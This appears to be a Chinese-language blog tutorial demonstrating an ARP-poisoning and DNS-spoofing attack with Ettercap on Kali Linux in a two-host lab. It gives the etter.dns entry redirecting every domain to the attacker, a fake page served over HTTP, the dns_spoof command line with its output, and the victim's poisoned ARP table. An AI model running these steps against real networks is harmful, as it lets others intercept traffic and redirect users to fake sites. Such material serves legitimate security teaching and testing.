X黑手网
X黑手网
X黑手网

Kali linux 2023下利用Ettercap 0.8.3.1网络嗅探工具进行DNS欺骗攻击及真实效果演示

1.什么是Ettercap?

Ettercap是一个流行的网络嗅探和中间人攻击工具,主要适用于交换局域网络。它可以在计算机网络中发挥重要的作用,拦截网络通信,并对其进行监视、修改或注入恶意内容,实现中间人攻击。该工具支持各种操作系统,并提供了丰富的功能和模块化的插件架构,使得用户能够根据自己的需求进行定制。

在安全性方面,Ettercap可以检测网络内明文数据通讯的安全性,及时采取措施,避免敏感的用户名/密码等数据以明文的方式进行传输。它也常被渗透测试人员使用,几乎每个渗透测试人员都会使用它作为必备工具之一。

Ettercap官网地址为:

https://www.ettercap-project.org

image

其目前,在sectools.org网站Top 125 Network Security Tools排名中,处于第16位

image

2.实验环境准备及介绍

本攻击实验需要2台主机,主要信息如下:

image

3. DNS欺骗攻击前环境配置

下面通过图形方式实现:

3.1 Ettercap工具配置

启动KALI LINUX,进入系统后,启动Ettercap

image

在主界面中,Primary Interfaceeth0,然后如图右上角点击

image

然后点击左侧放大镜图标开始搜索局域网主机,同时点开主机列表,可以看到搜索到下列主机信息:

image

然后添加网关IP:如下图,选中网关地址10.129.10.254,然后点击Add to Target 1

image

接着将被攻击的机器(这里是10.129.10.106)添加到Add to Target 2

image

,这里要攻击多个机器,可以选中多个主机IP

3.2 编辑EttercapDNS文件

这里编辑 /etc/ettercap/etter.dns文件,进行欺骗dns设置:

image

在最后一行添加:

* A 10.129.10.105
*.haopython.com  A 10.129.10.105   #这个注释掉了

其中:* A 10.129.10.105表示DNS欺骗攻击后,访问所有网站都指向主机地址为10.129.10.105的网站。

3.3 假网页(网站制作)

这里需要制作一个假的网页,来展示访问网站时受欺骗后的真实效果:

先创建网站目录,并编写一个简单的网页文件:

┌──(root㉿kali)-[~]
└─# mkdir /wwwroot
                    
┌──(root㉿kali)-[~]
└─# cd /wwwroot
                   
┌──(root㉿kali)-[/wwwroot]
└─# touch index.html
                
┌──(root㉿kali)-[/wwwroot]
└─# vim index.html             
              
┌──(root㉿kali)-[/wwwroot]
└─# cat index.html
This is a fake page for ARP DNS spoofing attacks using Ettercap, not the webpage you are visiting.

然后利用python启动一个http服务:

┌──(root㉿kali)-[/wwwroot]
└─# python -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

image

4 DNS欺骗攻击

先开启arp poisoning…,如下配置:

image

确保:Sniff remote connections.被勾选。

image

点击右侧3个小点处,plugins-->Manage plugins

image

双击,激活dns_spoof插件:

image

开命令窗口,输入攻击命令:ettercap -T -q -i eth0 -P dns_spoof,如下:

┌──(root㉿kali)-[~]
└─# ettercap -T -q -i eth0 -P dns_spoof

ettercap 0.8.3.1 copyright 2001-2020 Ettercap Development Team

Listening on:
  eth0 -> 00:0C:29:1D:86:41
          10.129.10.105/255.255.255.0
          fe80::2189:e60d:b2a:6fd7/64

SSL dissection needs a valid 'redir_command_on' script in the etter.conf file
Privileges dropped to EUID 65534 EGID 65534...

  34 plugins
  42 protocol dissectors
  57 ports monitored
28230 mac vendor fingerprint
1766 tcp OS fingerprint
2182 known services
Lua: no scripts were specified, not starting up!

Randomizing 255 hosts for scanning...
Scanning the whole netmask for 255 hosts...
* |==================================================>| 100.00 %

18 hosts added to the hosts list...
Starting Unified sniffing...


Text only Interface activated...
Hit 'h' for inline help

Activating dns_spoof plugin...

DHCP: [CC:2F:71:8E:58:37] REQUEST 10.129.30.53
DHCP: [D8:80:83:49:D1:CF] REQUEST 10.129.35.108                                                                                                 
dns_spoof: A [www.hao123.com] spoofed to [10.129.10.105] TTL [3600 s]

image

攻击效果:

在被攻击机器上,打开网页已无法正常访问,说明DNS被欺骗。

image

同时,查看WIN7主机的ARP缓存表,发现MAC地址为 00-0c-29-1d-86-41,有2条,一条是真实网关,一条是虚假网关:

10.129.10.105         00-0c-29-1d-86-41
10.129.10.254         00-0c-29-1d-86-41

image

 

© 版权声明
THE END
喜欢就支持一下吧
点赞12赞赏 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容